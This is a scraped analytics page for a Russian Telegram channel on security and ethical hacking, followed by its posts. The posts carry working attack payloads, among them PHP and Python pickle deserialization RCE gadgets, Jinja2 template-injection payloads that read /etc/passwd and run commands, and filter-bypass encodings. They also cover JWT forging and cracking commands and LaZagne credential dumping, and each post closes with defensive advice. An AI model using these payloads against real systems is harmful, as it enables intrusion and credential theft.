CodeGuard: PySec Edition
Канал по ИБ и этичному хакингу. Автор: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Рекламный менеджер: @Diggsale Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Больше📈 Аналитический обзор Telegram-канала CodeGuard: PySec Edition
Канал CodeGuard: PySec Edition является активным участником. Сейчас сообщество объединяет 14 097 подписчиков, занимая 8 767 место в категории Технологии и приложения и 45 898 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 14 097 подписчиков.
Согласно последним данным от 25 сентября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 815, а за последние 24 часа — 21, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 10.25%. В первые 24 часа после публикации контент обычно набирает 5.55% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 1 445 просмотров. В течение первых суток публикация набирает 783 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 7.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как codeguard, pysec, docker, grep, контейнер.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Канал по ИБ и этичному хакингу.
Автор: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Рекламный менеджер: @Diggsale
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Благодаря высокой частоте обновлений (последние данные получены 26 сентября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
🟢Java: ObjectInputStream.readObject() 🟢PHP: unserialize() 🟢Python: pickle.loads() 🟢.NET: BinaryFormatter2️⃣ Детекция уязвимости Признаки:
🔴 Base64 / бинарные blobs в cookies, headers, body 🔴 Параметры вроде data=, state=, profile= 🔴 Ошибки классов при кривом вводеПример (PHP):
$data = unserialize($_COOKIE['session']);
Тест:
O:8:"stdClass":1:{s:4:"test";s:4:"hack";}
Если приложение падает или реагирует — точка входа найдена.
3️⃣ Эксплуатация (примеры)
PHP:
class Evil {
public function __destruct() {
system($_GET['cmd']);
}
}
Python pickle:
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id",))
pickle.dumps(RCE())
4️⃣ Обход фильтров
🔴 Base64 + gzip 🔴 Использование разрешённых классов 🔴 Type juggling (PHP) 🔴 JSON → object cast 🔴 Partial deserialization5️⃣ Где встречается чаще всего
🟢 Cookies (session, rememberMe) 🟢 JWT с кастомными payload’ами 🟢 Mobile API 🟢 Legacy Java apps 🟢 Microservices (internal trust)6️⃣ Защита
🔴 Никогда не десериализуйте пользовательские данные 🔴 Используйте JSON + строгую схему 🔴 Allowlist классов 🔴 Отключайте опасные форматы (pickle, BinaryFormatter) 🔴 Подписывайте данные (HMAC) 🔴 IDS на gadget patterns😈 CodeGuard: PySec Edition | Чат
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код.
2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask)
Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров
Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов😈 CodeGuard: PySec Edition | Чат
pip install pyjwt
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись.
2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T
3️⃣ Практические команды для пентеста
Генерация слабого токена (тест):
import jwt
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')
print(token)
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов😈 CodeGuard: PySec Edition | Чат
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполненияМинимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis👩💻 CodeGuard: Linux | Чат
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложенияПредставьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker😈 CodeGuard: PySec Edition | Чат
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilegeПолезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
/api/user/123 → /api/user/124И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсыПолезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данныеБыло полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю.
Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, головеНа 2026:
while alive:
learn_something_new()
build_cool_stuff()
touch_grass() # важно
sleep(enough=True) # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто.
В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026 Bugs: Inevitable Opportunities: Enabled Your potential: No limitsHappy New Year, хакеры. 🥂 🔥 CodeGuard | Чат
assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать.
Проблема:
def delete_user(user_id, current_user):
assert current_user.is_admin, "Access denied"
db.delete(user_id)
Выглядит безопасно. Но нет.
Что происходит:
# Разработка — assert работает python app.py # Продакшен с оптимизацией — assert удаляется полностью python -O app.pyФлаг
-O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию.
Проверь прямо сейчас:
import sys
print(sys.flags.optimize) # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасностьПравильно:
def delete_user(user_id, current_user):
if not current_user.is_admin:
raise PermissionError("Access denied")
db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 ТестовНайти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise.
😈 CodeGuard: PySec Edition | Чат